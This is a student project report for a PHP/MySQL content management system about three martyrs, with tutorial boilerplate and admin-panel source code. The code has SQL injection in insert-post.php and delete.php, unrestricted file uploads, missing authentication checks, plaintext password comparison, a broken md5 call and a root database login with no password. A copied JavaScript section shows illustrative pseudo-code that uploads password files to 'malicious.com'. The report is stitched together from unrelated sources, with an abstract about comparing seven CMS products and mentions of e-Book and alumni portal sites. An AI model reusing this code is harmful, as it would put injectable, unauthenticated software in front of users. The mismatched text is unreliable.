6 Week / Month Industrial Training in Hoshiarpur Punjab- PHP Project Report

Content Management System
(PHP Project)
PROJECT REPORT
At C-TAC
Hoshiarpur
Diploma
GNIT Dalewal
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SUBMITTED BY:

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ACKNOWLGEMENT
We take this opportunity to express my deepest gratitude to those who have generously helped me in
providing the valuable knowledge and expertise during my training.
It is great pleasure to represent this report on the project named “Content Management System”
undertaken by me as part of my Diploma (CSE) curriculum. I am thankful to PTU and college of
engineering of offering me such a wonderful challenging opportunity.
It is a pleasure that we find ourselves penning down these lines to express our sincere thanks to the
people who helped us along the way in completing our project. We find inadequate words to express
our sincere gratitude towards them.
I’m thankful to Mr. Gurjit Singh, Centre head at the C-TAC, Hoshiarpur, for his thorough guidance
right from day 1st till the end of training. I shall also like to specially thank our instructor, Madam
Perminder Kaur for giving us required guidance and removing any difficulties faced by us during
the project. He took personal interest in spite of numerous commitments and busy schedule to help
us complete this project. Without the sincere and honest guidance of our respected guide we would
not have been to reach the present stage.
Finally, we would like to thank each and every person who has contributed who has contributed at
any of the ways in our training.
Date Name
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ABSTRACT
The Project Content Management System is all about a Three Martyrs. The applicant can register
and make a post of three martyrs. Content management systems should solve the problem of turning
content into information and information into knowledge. Content Management Systems are not just
a product or a technology. CMS is defined as a generic term which refers to a wide range of
processes that underpin the “next-generation” of medium to large-scale websites. Content
management is a process which deals with the creation, storage, modification, retrieval and display
of data or content. This report evaluates seven open source CMS products. The comparison is based
on eight categories as seen from a business perspective. These categories are; applications, data
repository, deployment, integration, revision
control, user interface, user management and workflow. The comparison clearly shows how most
CMS products require further development prior to being used within a commercial environment.
The few CMS products which are ready for commercial deployment contain an inherent design flaw.
This flaw refers to the inefficient management of large-scale
user databases.
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INTRODUCTION TO PROJECT
A Content Management System (CMS) is a system used to manage the content of a Web site.
Typically, a CMS consists of two elements: the content management application (CMA) and the
content delivery application (CDA). The CMA element allows the content manager or author, who
may not know Hypertext Markup Language (HTML), to manage the creation, modification, and
removal of content from a Web site without needing the expertise of a Webmaster. The CDA
element uses and compiles that information to update the Web site. The features of a CMS system
vary, but most include Web-based publishing, format management, revision control, and indexing,
search, and retrieval.
The Web-based publishing feature allows individuals to use a template or a set of templates
approved by the organization, as well as wizards and other tools to create or modify Web content.
The format management feature allows documents including legacy electronic documents and
scanned paper documents to be formatted into HTML or Portable Document Format (PDF) for the
Web site. The revision control feature allows content to be updated to a newer version or restored
to a previous version. Revision control also tracks any changes made to files by individuals. An
additional feature is indexing, search, and retrieval. A CMS system indexes all data within an
organization. Individuals can then search for data using keywords, which the CMS system retrieves.
A Content Management System (CMS) is a collection of procedures used to manage work flow in a
collaborative environment. These procedures can be manual or computer-based. The procedures
are designed to:
• Allow for a large number of people to contribute to and share stored data
• Control access to data, based on user roles. User roles define what information each user can
view or edit
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• Aid in easy storage and retrieval of data
.

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HARDWARE AND SOFTWARE REQUIREMENT
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Hardware Requirements
Number Description
1 Pentium 4 ,Window XP/Window7
2 256 MB RAM
Software Requirements
Number Description
1 Windows XP ,7
2 Php 5.1
3 MySql
4 IIS server/ XAMPP
5 HTML/CSS/Ajax/JavaScript

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INTRODUCTION TO TOOLS
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FRONT-END / BACK-END
Front-End: Web Pages using PHP, HTML ,CSS,JavaScript and Net Beans
Back-End: MYSQL
Front End:
 HTML –It is used to generate web page . HTML, an initialism of Hypertext Markup
Language, is the predominant markup language for web pages. It provides a means to describe the
structure of text-based information in a document — by denoting certain text as headings,
paragraphs, lists, and so on
 JAVASCRIPT – It is used for checking User information before sending to server .JavaScript is a
scripting language most often used for client-side web development. It is a dynamic, weakly typed,
prototype-based language with first-class functions. Currently, "JavaScript" is an implementation of the
ECMAScript standard.
 PHP:- Php is a technology that lets you mix regular, static HTML with dynamically-generated
HTML. Many Web pages that are built by CGI programs are mostly static, with the
dynamic part limited to a few small locations. But most CGI variations, including servlets, make you
generate the entire page via your program, even though most of it is always the same.
Backend:
 IIS SERVER /XAMPP- Apache is a web container, or application server developed at the
Apache Software Foundation (ASF).It adds tools for configuration and management but can also be
configured by editing configuration files that are normally XML-formatted. Appache includes its
own internal HTTP server.

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Front End
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Introduction to HTML
HTML
HTML(HyperText Mark-Up Language) is what is known as a "mark-up language" whose role is to
prepare written documents using formatting tags. The tags indicate how the document is presented
and how it links to other documents.
HTML is also used for reading documents on the Internet from different computers, thanks to
the HTTP protocol, which allows users to remotely access documents stored at a specific address on
the network, called a URL.
The World Wide Web (WWW for short), or simply the Web, is the worldwide network formed by
all the documents (called "web pages") which are connected to one another by hyperlinks.
Web pages are usually organised around a main page, which acts as a hub for browsing other pages
with hyperlinks. This group of web pages joined by hyperlinks and centred around a main page is
called awebsite.
The Web is a vast living archive composed of a myriad of web sites, giving people access to web
pages that may contain formatted text, images, sounds, video, etc.
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What is the Web?
The Web is composed of web pages stored on web servers, which are machines that are constantly
connected to the Internet and which provide the pages that users request. Every web page, and more
generally any online resource, such as images, video, music, and animation, is associated with a
unique address called a URL.
The key element for viewing web pages is the browser, a software program which sends requests to
web servers, then processes the resulting data and displays the information as intended, based on
instructions in the HTML page.
The most commonly used broswers on the Internet include:
 Mozilla Firefox,
 Microsoft Internet Explorer,
 Netscape Navigator,
 Safari.

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HTML is a standard
It is important to understand that HTML is a standard, composed of recommendations published by
an international consortium: the World Wide Web Consortium (W3C).
The official specifications of HTML describe the language's "instructions" but not how to follow
them (the way they are translated by computer programs), so that web pages can be viewed
regardless of what the user's operating system or computer architecture may be.
Nevertheless, as detailed as these specifications are, there is still some room for interpretation on the
browsers' part, which explains why the same page might be displayed differently from one web
browser to another.
What's more, some software publishers add proprietary HTML instructions, which are not found in
the W3C's specifications. For this reason, web pages containing such instructions may be displayed
just fine in one browser, yet be completely or partially unreadable in others. This is why web pages
should follow the W3C's recommendations so that as many people as possible can view them.
Versions of HTML
HTML was designed by Tim Berners-Lee, at the time a researcher at CERN, beginning in 1989. He
officially announced the creation of the Web on Usenet in August 1991. However, it wasn't until
1993 that HTML was considered advanced enough to call it a language (HTML was then
symbolically christenedHTML 1.0). The web browser used back then was named NCSA Mosaic.
RFC 1866, dated November 1995, represented the first official version of HTML, called HTML 2.0.
After the brief appearance of HTML 3.0, which was never officially released, HTML 3.2 became the
official standard on January 14, 1997. The most significant changes to HTML 3.2 were the
standardisation of tables, as well as many features relating to the presentation of web pages.
On December 18, 1997, HTML 4.0 was released. Version 4.0 of HTML was notable for
standardising style sheets and frames. HTML version 4.01, which came out on December 24, 1999,
made several minor modifications to HTML 4.0.

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INTRODUCTION TO CSS
A CSS (cascading style sheet) file allows you to separate your web sites (X)HTML content from it’s
style. As always you use your (X)HTML file to arrange the content, but all of the presentation (fonts,
colors, background, borders, text formatting, link effects & so on…) are accomplished within a CSS.
At this point you have some choices of how to use the CSS, either internally or externally.
Internal Stylesheet
First we will explore the internal method. This way you are simply placing the CSS code within the
<head></head> tags of each (X)HTML file you want to style with the CSS. The format for this is
shown in the example below.
<head>
<title><title>
<style type=”text/css”>
CSS Content Goes Here
</style>
</head>
<body>
With this method each (X)HTML file contains the CSS code needed to style the page. Meaning that
any changes you want to make to one page, will have to be made to all. This method can be good if
you need to style only one page, or if you want different pages to have varying styles.
External Stylesheet
Next we will explore the external method. An external CSS file can be created with any text or
HTML editor such as “Notepad” or “Dreamweaver”. A CSS file contains no (X)HTML, only CSS.
You simply save it with the .css file extension. You can link to the file externally by placing one of
the following links in the head section of every (X)HTML file you want to style with the CSS file.
<link rel=”stylesheet” type=”text/css” href=“Path To stylesheet.css” />
Or you can also use the @import method as shown below
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<style type=”text/css”>@import url(Path To stylesheet.css)</style>
Either of these methods are achieved by placing one or the other in the head section as shown in
example below
<head>
<title><title>
<link rel=”stylesheet” type=”text/css”href=”style.css” />
</head>
<body>
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or
<head>
<title><title>
<style type=”text/css”> @import url(Path To stylesheet.css)</style>
</head>
<body>
By using an external style sheet, all of your (X)HTML files link to one CSS file in order to style the
pages. This means, that if you need to alter the design of all your pages, you only need to edit one
.css file to make global changes to your entire website.
Here are a few reasons this is better.
 Easier Maintenance
 Reduced File Size
 Reduced Bandwidth
 Improved Flexibility
Are you getting the idea? It’s really cool.
Cascading Order
In the previous paragraphs, I have explained how to link to a css file either internally or externally. If
you understood, than I am doing a good job. If not don’t fret, there is a long way to go before we are
finished. Assuming you have caught on already, you are probably asking, well can I do both? The

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answer is yes. You can have both internal, external, and now wait a minute a third way? Yes inline
styles also.
Inline Styles
I have not mentioned them until now because in a way they defeat the purpose of using CSS in the
first place. Inline styles are defined right in the (X)HTML file along side the element you want to
style. See example below.
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<p style=”color: #ff0000;”>Some red text</p>
Some red text
Inline styles will NOT allow the user to change styles of elements or text formatted this way
So, which is better?
So with all these various ways of inserting CSS into your (X)HTML files, you may now be asking
well which is better, and if I use more than one method, in what order do these different ways load
into my browser?
All the various methods will cascade into a new “pseudo” stylesheet in the following order:
1. Inline Style (inside (X)HTML element)
2. Internal Style Sheet (inside the <head> tag)
3. External Style Sheet
As far as which way is better, it depends on what you want to do. If you have only one file to style
then placing it within the <head></head> tags (internal) will work fine. Though if you are planning
on styling multiple files then the external file method is the way to go.
Choosing between the <link related=> & the @import methods are completely up to you. I will
mention that the @import method may take a second longer to read the CSS file in Internet Explorer
than the <link related=> option. To combat this see Flash of unstyled content
Users with Disabilities
The use of external style sheets also can benefit users that suffer from disabilities. For instance, a
user can turn off your stylesheet or substitute one of there own to increase text size, change colors
and so on. For more information on making your website accessible to all users please read Dive into
accessibility

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INTRODUCTION TO JAVA SCRIPT
JavaScript is most commonly used as a client side scripting language. This means that JavaScript
code is written into an HTML page. When a user requests an HTML page with JavaScript in it, the
script is sent to the browser and it's up to the browser to do something with it.
The fact that the script is in the HTML page means that your scripts can be seen and copied by
whoever views your page. Nonetheless, to my mind this openness is a great advantage, because the
flip side is that you can view, study and use any JavaScript you encounter on the WWW.
JavaScript can be used in other contexts than a Web browser. Netscape created server-side
JavaScript as a CGI-language that can do roughly the same as Perl or ASP. There is no reason why
JavaScript couldn’t be used to write real, complex programs. However, this site exclusively deals
with the use of JavaScript in web browsers.
If you don’t have any programming experience at all it’s best to start with some gentle JavaScript
examples that teach you the basics. It might be a good idea to buy Negrino & Smith, “JavaScript for
the World Wide Web”, 4th edition, Peachpit Press, 2001. It contains some very useful examples and
though it doesn’t treat advanced programming tricks, it will certainly help you get started. Of course
this site also offers plenty of help.
I can also recommend Jeremy Keith, DOM Scripting: Web Design with JavaScript and the
Document Object Model, 1st edition, Friends of Ed, 2005. This, too, is a book that doesn't delve too
deeply into technology, but gives non-programmers such as graphic designers/CSS wizards an
excellent overview of the most common uses of JavaScript - as well as the most common problems.
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JavaScript vs. Java

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JavaScript is not the same as Java. I repeat: JavaScript is not the same as Java.
Although the names are much alike, JavaScript is primarily a scripting language for use within
HTML pages, while Java is a real programming language that does quite different things from
JavaScript. In addition Java is much harder to learn. It was developed by Sun for use in pretty much
anything that needs some computing power.
JavaScript was developed by Brendan Eich, then working at Netscape, as a client side scripting
language (even though there's no fundamental reason why it can't be used in a server side
environment).
Originally the language was called Live Script, but when it was about to be released Java had
become immensely popular (and slightly hypey). At the last possible moment Netscape changed the
name of its scripting language to “JavaScript”. This was done purely for marketing reasons. Worse,
Eich was ordered to "make it look like Java". This has given rise to the idea that JavaScript is a
"dumbed-down" version of Java. Unfortunately there's not the slightest shred of truth in this story.
Java and JavaScript both descend from C and C++, but the languages (or rather, their ancestors) have
gone in quite different directions. You can see them as distantly related cousins. Both are object
oriented (though this is less important in JavaScript than in many other languages) and they share
some syntax, but the differences are more important than the similarities.
If you are a C++ or Java programmer you will be surprised by some of JavaScript’s features. Since I
don’t have any previous programming experience, the differences are not described on this site. The
best you can do is buy David Flanagan, “JavaScript, the Definitive Guide”, 5th edition, O’Reilly,
2006. In this book the differences between C++/Java and JavaScript are clearly explained. I co–
edited a few chapters of this book.
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The JavaScript language
JavaScript is not a programming language in strict sense. Instead, it is a scripting language because it
uses the browser to do the dirty work. If you command an image to be replaced by another one,

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JavaScript tells the browser to go do it. Because the browser actually does the work, you only need
to pull some strings by writing some relatively easy lines of code. That’s what makes JavaScript an
easy language to start with.
But don’t be fooled by some beginner’s luck: JavaScript can be pretty difficult, too. First of all,
despite its simple appearance it is a full fledged programming language: it is possible to write quite
complex programs in JavaScript. This is rarely necessary when dealing with web pages, but it is
possible. This means that there are some complex programming structures that you’ll only
understand after protracted studies.
Secondly, and more importantly, there are the browser differences. Though modern web browsers all
support JavaScript, there is no sacred law that says they should support exactly the same JavaScript.
A large part of this site is devoted to exploring and explaining these browser differences and finding
ways to cope with them.
So basic JavaScript is easy to learn, but when you start writing advanced scripts browser differences
(and occasionally syntactic problems) will creep up.
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Security
Client–side JavaScript has expressly been developed for use in a web browser in conjunction with
HTML pages. This has certain consequences for security.
First of all, please note carefully what happens when a user visits a JavaScript–enhanced web site:
The user asks for a certain HTML page without knowing whether it contains JavaScript. The HTML
page is delivered to the browser, including the scripts. The scripts usually run automatically when the
page loads or when the user takes a certain action. In general the user can’t do anything to stop the
scripts (well, he could turn off JavaScript, but few end users know how to do this, or that it can be
done, or that JavaScript exists).
So basically an innocent end user downloads a random program and allows it to be executed on his
machine. Therefore there should be strict rules as to what this program can and cannot do.

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1. JavaScript cannot read files from or write them to the file system on the computer. This
would be a clear security hazard
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2. filesystem.read('/my/password/file');
3. filesystem.write('horridvirus.exe');
4. JavaScript cannot execute any other programs. This would also be unacceptable
5. execute('horridvirus.exe')
6. JavaScript cannot establish any connection to whatever computer, except to download a new
HTML page or to send mail. This, too, would create unacceptable hazards:
7. var security_hazard = connection.open('malicious.com');
8. security_hazard.upload(filesystem.read('/my/password/file'));
9. security_hazard.upload(filesystem.read('/ultra_secret/loans.xls'));
Thus JavaScript simply cannot do such dangerous things. Unfortunately Microsoft has seen fit to add
some filesystem commands nonetheless, in combination with its ActiveX technology. This means
that Explorer on Windows is structurally less safe than any other browser. It has some built–in
protection, but hackers regularly find weaknesses. The firstJavaScript virus I heard of works in such
a way.
So JavaScript only works on things that are in HTML pages or part of the browser. You cannot
influence anything that's not contained by the browser. But even within the browser there are some
no–go areas. Basically JavaScript wants to protect the privacy of the user by disallowing some
actions and asking permission for others:
1. You cannot read out the history of the browser. Thus a malicious site owner cannot write a
script that finds out where you surfed to recently.
You can go back or forward in the browsing history, but you cannot find out which page you’ll go
to.

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2. You cannot do anything in pages that come from another server. So if your frameset contains
two pages from two servers, they cannot communicate with each other. Thus a malicious site owner
cannot find out which sites you’ve opened in other browser windows. See the frame busting page for
some more information.
3. You cannot set the value of a file upload field (<input type="file">).
4. document.forms[0].upload_field.value = '/my/password/file';
5. document.forms[0].submit();
6. If you try to close a browser window that has not been opened by JavaScript, the user is
asked to confirm this action.
However, this rule isn't implemented in all browsers and is easy to work around in Explorer.
7. If you try to submit a form to a mail address by JavaScript, the user is asked to confirm this
action.
8. You should not be able to open a new window smaller than 100x100 pixels and/or to position
it outside the screen area of the computer. Thus a malicious site owner cannot spawn an invisible
window.
Note that Explorer on Windows (and maybe other browsers, too) does allow this, contrary to safety
regulations.
Thus JavaScript is a scripting language for influencing HTML elements, like forms, images, layers,
paragraphs and such, and for influencing a few non–HTML objects like the browser window.
Nothing more, but (most importantly) nothing less.
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Browser incompatibilities

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When a user receives a page which includes JavaScript, the JavaScript interpreter of his browser
kicks in and tries to execute the script. Now the main problem here is that the various browsers each
use their own interpreter, and that sometimes browser vendors have chosen not to implement a bit of
JavaScript. Their reasons were usually related to business advantage over the competitors.
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Hence the feared browser incompatibilities.
In addition each new browser version understands more JavaScript and allows more and more parts
of the HTML page to be changed by scripts. This leads to even more incompatibilities.
It’s best to solve compatibility problems on a case–by–case basis. In fact, most pages on this site
have been written precisely because of browser incompatibilities. So read on to understand more.
But I warn you: you need to digest quite a lot of information. Therefore it’s best to solve the problem
at hand and leave the rest of the information alone until you need it.
JavaScript versions
There have been several formal versions of JavaScript.
 1.0: Netscape 2
 1.1: Netscape 3 and Explorer 3 (the latter has bad JavaScript support, regardless of its
version)
 1.2: Early Version 4 browsers
 1.3: Later Version 4 browsers and Version 5 browsers
 1.4: Not used in browsers, only on Netscape servers
 1.5: Current version.
 2.0: Currently under development by Brendan Eich and others.

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PHP
PHP is a widely used, general-purpose scripting language that was originally designed for web
development, to produce dynamic web pages. It can be embedded into HTML and generally runs on
a web server, which needs to be configured to process PHP code and create web page content from
it. It can be deployed on most web servers and on almost every operating system and platform free of
charge. PHP is installed on over 20 million websites and 1 million web servers.
PHP was originally created by Rasmus Lerdorf in 1995 and has been in continuous development
ever since. The main implementation of PHP is now produced by The PHP Group and serves as the
de facto standard for PHP as there is no formal specification. PHP is free software released under the
PHP License, which is incompatible with the GNU General Public License (GPL) because of
restrictions on the use of the term PHP.
PHP has evolved to include a command line interface capability and can also be used in standalone
graphical applications.
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Usage
PHP is a general-purpose scripting language that is especially suited for web development. PHP
generally runs on a web server. Any PHP code in a requested file is executed by the PHP runtime,
usually to create dynamic web page content. It can also be used for command-line scripting and
client-side GUI applications. PHP can be deployed on most web servers, many operating systems
and platforms, and can be used with many relational database management systems. It is available
free of charge, and the PHP Group provides the complete source code for users to build, customize
and extend for their own use.[2]
PHP primarily acts as a filter, taking input from a file or stream containing text and/or PHP
instructions and outputs another stream of data; most commonly the output will be HTML. Since
PHP 4, the PHP parser compiles input to produce bytecode for processing by the Zend Engine,
giving improved performance over its interpreter predecessor.

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Backend
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MYSQL
MySQL ( My S-Q-L, or "My sequel" ) is a relational database management system (RDBMS) which
has more than 6 million installations. MySQL stands for "My Structured Query Language". The
program runs as a server providing multi-user access to a number of databases.
The project's source code is available under terms of the GNU General Public License, as well as
under a variety of proprietary agreements. MySQL is owned and sponsored by a single for-profit
firm, the Swedish company MySQL AB, now a subsidiary of Sun Microsystems, which holds the
copyright to most of the codebase.
MySQL is commonly used by free software projects which require a full-featured database
management system, such as WordPress, phpBB and other software built on the LAMP software
stack. It is also used in very high-scale World Wide Web products including Google and Facebook.
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Uses
MySQL is used in web applications and acts as the database component of the LAMP software stack.
Its popularity for use with web applications is closely tied to the popularity of PHP, which is often
combined with MySQL. Several high-traffic web sites (including Flickr, Facebook, Wikipedia,
Google (though not for searches), Nokia, Auctionmarts and YouTube) use MySQL for data storage
and logging of user data.
Platforms and interfaces
The MySQL Administrator in Linux
MySQL is written in C and C++. MySQL works on many different system platforms, including AIX,
BSDi, FreeBSD, HP-UX, i5/OS, Linux, Mac OS X, NetBSD, Novell NetWare, OpenBSD,
OpenSolaris, eComStation, OS/2 Warp, QNX, IRIX, Solaris, Symbian, SunOS, SCO OpenServer,

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SCO UnixWare, Sanos, Tru64 and Microsoft Windows. A port of MySQL to OpenVMS is also
available.[9]
Libraries for accessing MySQL databases are available in all major programming languages with
language-specific APIs. In addition, an ODBC interface called MyODBC allows additional
programming languages that support the ODBC interface to communicate with a MySQL database,
such as ASP or ColdFusion. The MySQL server and official libraries are mostly implemented in
ANSI C/ANSI C++.
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Features
 A broad subset of ANSI SQL 99, as well as extensions
 Cross-platform support
 Stored procedures
 Triggers
 Cursors
 Updatable Views
 True Varchar support
 Strict mode
 Query caching
 Sub-SELECTs (i.e. nested SELECTs)
 Replication with one master per slave, many slaves per master, no automatic support for
multiple masters per slave.
 Full-text indexing and searching using MyISAM engine
 Embedded database library

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PHP/ MYSQL Web Application Development
Community websites offers php/MySQL web design and programming services for various
clients needs. We use the LAMP platform to develop our applications – Linux, Apache, MYSQL
and PHP. This platform is an effective alternative to commercial software for building and
running dynamic and high performance web systems.
PHP and MySQL are two leading open-source scripting and database technologies for web
designers today. Over the years they have each evolved and grown in complexity and
functionality and yet they are still tied together to provide a powerful and flexible platform for
web applications. They run on both linux and windows servers so your web host most likely
supports it. With the advent of PH5, PHP language has evolved to be an object oriented
programming language enabling more robust and standards based web applications..
Community websites leverages both PHP and MYSQL to build rich database driven dynamic
and interactive websites and website applications. Our services include PHP and MySQL web
development, open source shopping carts, PHP, MySQL offshore development and PHP
programming services. We have a team of experienced coders dedicated to work on any
php/mysql project and have it delivered on time, per your specifications.
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Data
Data Object
Description
Entity
Relationship
Diagram
Data Flow
Diagram
Dictionar
State Transition
Diagram
Control
Specification
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SYSTEM ANALYSIS
The Analysis model:
The analysis model must achieve three primary objectives:
 To describe what the user required.
 To establish the basis for the enhancement of a software design.
 To define a set of requirements that can be validated once the software is completely enhanced. The
main elements of the analysis model are briefly described below.
y
Process
Specification
 At the core of the model lies the data dictionary, which is a repository that contains descriptions of all
the data objects consumed or produced by the software .Three different diagrams surround the core.
 The entity relation diagram depicts relationships between data objects.
 The data flow diagram provides an indication of how the data is transformed as they move through
the system.
 The state transition diagram indicates how the system behaves as a consequence of external events.

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REQUIREMENT ANALYSIS
Goal of Thesis
The goal of our thesis is to develop a website that can be used with the features of
interaction and problem solving. The whole project will be based on PHP with MYSQL as the
database with certain security constraints added to it.
Administrator
He has to see whether the website is working properly and whether the details available
in the system are relevant and correct. He can view, add, modify, delete details.
Database
The database keeps all the records of all the users i.e. name, phone no., ,etc. For creating
such records it takes the help of tables which is created in the MYSQL. The tables can
have infinite entries of all the registered users as well as administrators.
Clients
Our aim will also to provide efficient way by which client can enter to see his profile, ask
questions, give comments and download and read ebooks.
28
Security Constraints
There need to be certain constraints which have to be implemented on the database as
well as on the administrator in order to work properly the whole system, such as
declaring the primary key, or such constraints in order to keep the database work
properly.

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PROBLEM ANALYSIS
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Applications
The main applications of the e-Book is the ability of the website to properly show and
manage information about various books. The administrator has the ability to change ,
modify, view and delete the various details. The users have the ability to log in and to
read various books.
Challenges
The challenges mainly lie in detecting attacks like viruses, hacking and also in the
implementation of firewall. A virus can enter the system and can disrupt the working of
the website. Hacking can be done by some people who want to access some restricted
sections of the website (e.g. administrator’s area) and to modify or taper some aspects of
the website.
Scanning attacks may yield:
 The method used by viruses to enter the system.
 The types of database allowed through a firewall.
 The paths or ways used by hackers to enter the system
 The loopholes remaining in the system (or website) which are used by attackers.
 The server from where the viruses or hackers are gaining access to the system.
 The types of viruses able to affect the website.
And with the implementation of firewall and other security mechanisms that are designed for it, the
Alumini Portal System Website safe and secure.

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FEASIBILTY STUDY
From the inception of ideas for software system, until it is implemented and delivered to
customer and even after that the system undergoes gradual developments and evaluations.
The software is said to have life cycle composed of several phases.
At the feasibility stage, it is desirable that two or three different configuration will be
pursed that satisfy the key technical requirement but which represent different level of
ambition and cost.
Feasibility is the determination of whether or not a project is worth doing. A feasibility
study is carried out select a best system that make performance requirements.
The data collected during primary investigation examines system feasibilities that is
likelihood that the system will be beneficial to the organization. Four tests for feasibility
study are as follows:-
30
 Technical Feasibility:
This is concerned with specifying equipment and software that will successfully satisfy the use
considerably, but might include
 The feasibility to produce output in a given time because system is fast enough to
handle multiple users.
 Response time under certain circumstances and ability to process a certain volume of
transaction of a particular speed.
 Feasibility to communicate data to distant location.
 Economical Feasibility:
Economic analysis is the most frequently used technique used for evaluating the effectiveness of a
proposed system. More commonly known as cost/benefit analysis the procedure is to determine the
benefits and savings that are expected from a proposed system and compared them with cost.
Though the cost of installing the system may appear high, it is one time investment. The resulting
benefits is that automation results in turnaround time. The resulting cost/benefit ratio is favorable.

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 Operational Feasibility:
It is mainly related to human organizational as social aspects. The points to be considered are - The
system interface is standard, user friendly and provides extensive help. Hence no special training is
required.
 Social Feasibility:
Social feasibility is determination of whether a proposed project will be acceptable to people or not,
So this project is totally Social and Feasible
31

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DATA FLOW DIAGRAM
32
Data Flow Diagrams:
It is a way of expressing System requirement in a graphical form; this leads to a modular
design. It is also known as bubble chart, has the purpose of clarifying system requirements
and identifying major transformations that will become program in system design. So it is the
starting point of the design phase that functionally decomposes the requirement specifications
down to the lowest level of details. A DFD consist of a series of bubbles joined by lines. The
bubbles represent data transformation and the lines represent data flows in the system.
DFD SYMBOLS:
= Source or Destination of data
= Data flow
= Process that transform data flow

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Snapshots of Project
Home Page
33

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Admin Panel
35

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Admin Panel Coding
Index.php
<?php
session_start();
if(!isset($_SESSION['user_name']))
{
header("location: login.php");
}
else
{
?>
<html>
<head><title>Index</title>
<link href="admin-style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="header">
<a href="index.php"><h1>Welcome to the Admin Panel</h1></a>
</div>
<div id="sidebar">
<h3>Welcome </br><?php echo $_SESSION['user_name']; ?></h3>
<h4><a href="view-post.php">View Posts</a></h4>
<h4><a href="index.php?insert=insert">Insert New Post</a></h4>
<h4><a href="logout.php">Logout</a></h4>
</div>

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<?php
if(isset($_GET['insert']))
{
include("insert-post.php");
}
?>
</body>
</html>
<?php } ?>
Login.php
<?php
session_start();
?>
<html>
<head>
<title>Admin Login</title>
</head>
<body bgcolor="gray">
<form method="post" action="login.php">
<table width="400" border="10" align="center" bgcolor="pink">
<tr>
<td bgcolor="yellow" colspan="2" align="center"><h1>Admin Login form</h1></td>
</tr>
<tr>
<td>User Name:</td>
<td><input type="text" name="user_name"></td>
</tr>

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<tr>
<td>User Password:</td>
<td><input type="password" name="user_pass"></td>
</tr>
<tr>
<td colspan="2" text align="center"><input type="submit" name="login" value="Login"></td>
</tr>
</form>
</body>
</html>
<?php
include("includes/connection.php");
if(isset($_POST['login']))
{
$user_name =mysql_real_escape_string($_POST['user_name']);
$user_pass =mysql_real_escape_string($_POST['user_pass']);
$encrypt =md5($user_password);
$admin_query = "select * from admin_login where user_name='$user_name' AND user_pass='$user_pass'";
$run = mysql_query($admin_query);
if(mysql_num_rows($run)>0)
{
$_SESSION['user_name']=$user_name;
echo "<script>window.open('index.php','_self')</script>";
}
else
{
echo "<script>alert('User Name or Password is incorrect')</script>";
}
}
?>

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Insert-post.php
<html>
<head><title>Inserting New Posts </title></head>
<body>
<form method="post" action="insert-post.php" enctype="multipart/form-data">
<table width="450" border="5" align="center">
<tr>
<td align="center" bgcolor="yellow" colspan="2"> <h1> Insert New Post here </h1>
</td>
</tr>
<tr>
<td>Post Title:</td>
<td><input type="text" name="title" size="30">
</td>
</tr>
<tr>
<td>Post Author:</td>
<td><input type="text" name="author" width="40" size="30">
</td>
</tr>
<tr>
<td>Post keywords:</td>
<td><input type="text" name="keywords" size="30">
</td>
</tr>
<tr>
<td>Post Image:</td>

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<td><input type="file" name="image">
41
</td>
</tr>
<tr>
<td>Post Content:</td>
<td><textarea name="content" cols="38" rows="10"> </textarea>
</td>
</tr>
<tr>
<td colspan="2" align="center"><input type="submit" name="submit" value="Publish Now"
>
</td>
</tr>
</table>
</form>
</body>
</html>
<?php
if(isset($_POST['submit'])){
$post_title = $_POST['title'];
$post_date = date('m-d-y');
$post_author = $_POST['author'];
$post_keywords = $_POST['keywords'];
$post_content = $_POST['content'];

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$post_image = $_FILES['image'] ['name'];
$image_tmp = $_FILES['image'] ['tmp_name'];
if($post_title=='' or $post_keywords=='' or $post_content=='' or $post_author=='')
{
echo "<script>alert('Any Of The Field Is Empty')</script>";
exit();
}
else
{
move_uploaded_file($image_tmp,"../images/$post_image");
$insert_query="insert into posts
(post_title,post_date,post_author,post_image,post_keywords,post_content) values ('$post_title','$post_date',
'$post_author','$post_image','$post_keywords','$post_content')";
if(mysql_query($insert_query))
{
echo "<script>alert('post published successfully')</script>";
echo "<script>window.open('view-post.php','_self')</script>";
}
}
}
?>
View-post.php
<?php
session_start();
if(!isset($_SESSION['user_name']))
{
}

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else
{
?>
<html>
<head><title>Index</title>
<link href="admin-style.css" rel="stylesheet" type="text/css" />
</head>
<body>
<div id="header">
<a href="index.php"><h1>Welcome to the Admin Panel</h1></a>
</div>
<div id="sidebar">
<h4><a href="view-post.php">View Posts</a></h4>
<h4><a href="index.php?insert=insert">Insert New Post</a></h4>
<h4><a href="#">Logout</a></h4>
</div>
<table width="800" border="1" align="center" bgcolor="#FACA59">
<tr>
<td colspan="8" align="center" bgcolor="white"><h1>View All Posts<h1>
</tr>
<tr bgcolor="green">
<th>Post No:</th>
<th>Post Date:</th>
<th>Post Author:</th>
<th>Post Title:</th>
<th>Post Image:</th>
<th>Post Content:</th>

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<th>Delete Post:</th>
</tr>
<?php
$query = "select * from posts order by 1 DESC";
$run = mysql_query($query);
while($row=mysql_fetch_array($run)){
$post_id = $row['post_id'];
$post_date = $row['post_date'];
$post_author = $row['post_author'];
$post_title = $row['post_title'];
$post_id = $row['post_id'];
$post_image = $row['post_image'];
$post_content = substr($row['post_content'],0,100);
?>
<tr text align="center">
<td><?php echo $post_id; ?> </td>
<td><?php echo $post_date; ?> </td>
<td><?php echo $post_author; ?> </td>
<td><?php echo $post_title; ?> </td>
<td><img src="../images/<?php echo $post_image; ?>" width="80" height="80" </td>
<td><?php echo $post_content; ?> </td>
<td><a href="delete.php?del=<?php echo $post_id; ?>">Delete</a></td>
</tr>
<?php } ?>

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</table>
</body>
</html>
<?php } ?>
Delete.pho
<?php
if(isset($_GET['del'])){
$delete_id = $_GET['del'];
$delete_query ="delete from posts where post_id='$delete_id' ";
if(mysql_query($delete_query))
{
echo "<script>alert('Post has been Deleted')</script>";
echo "<script>window.open('view-post.php','_self')</script>";
}
}
?>
Logout.php
<?php
session_start();
session_destroy();
?>
Connection.php
<?php

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mysql_connect("localhost","root","");
mysql_select_db("martyrs");
?>
Admin-style.css
body
{
background-color:gray;
}
#header
{
width:100%;
background:orange;
height:100px;
border-bottom:2px solid blue;
}
#sidebar
{
width:100px;
float:left;
background:white;
border-right:1px solid gray;
height:600px;
text-align:center;
}
#header h1 {color:black; font-size:2em; font-family:comic sans MS; text-align:center;}
#sidebar h2 {text-align:center; font-size:2em; text-decoration:none;}
a { text-decoration:none; color:green;}

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bhagatsingh.php
<html>
<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0
Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1
-transitional.dtd">
<head>
<title>Shaheed Bhagat Singh</title>
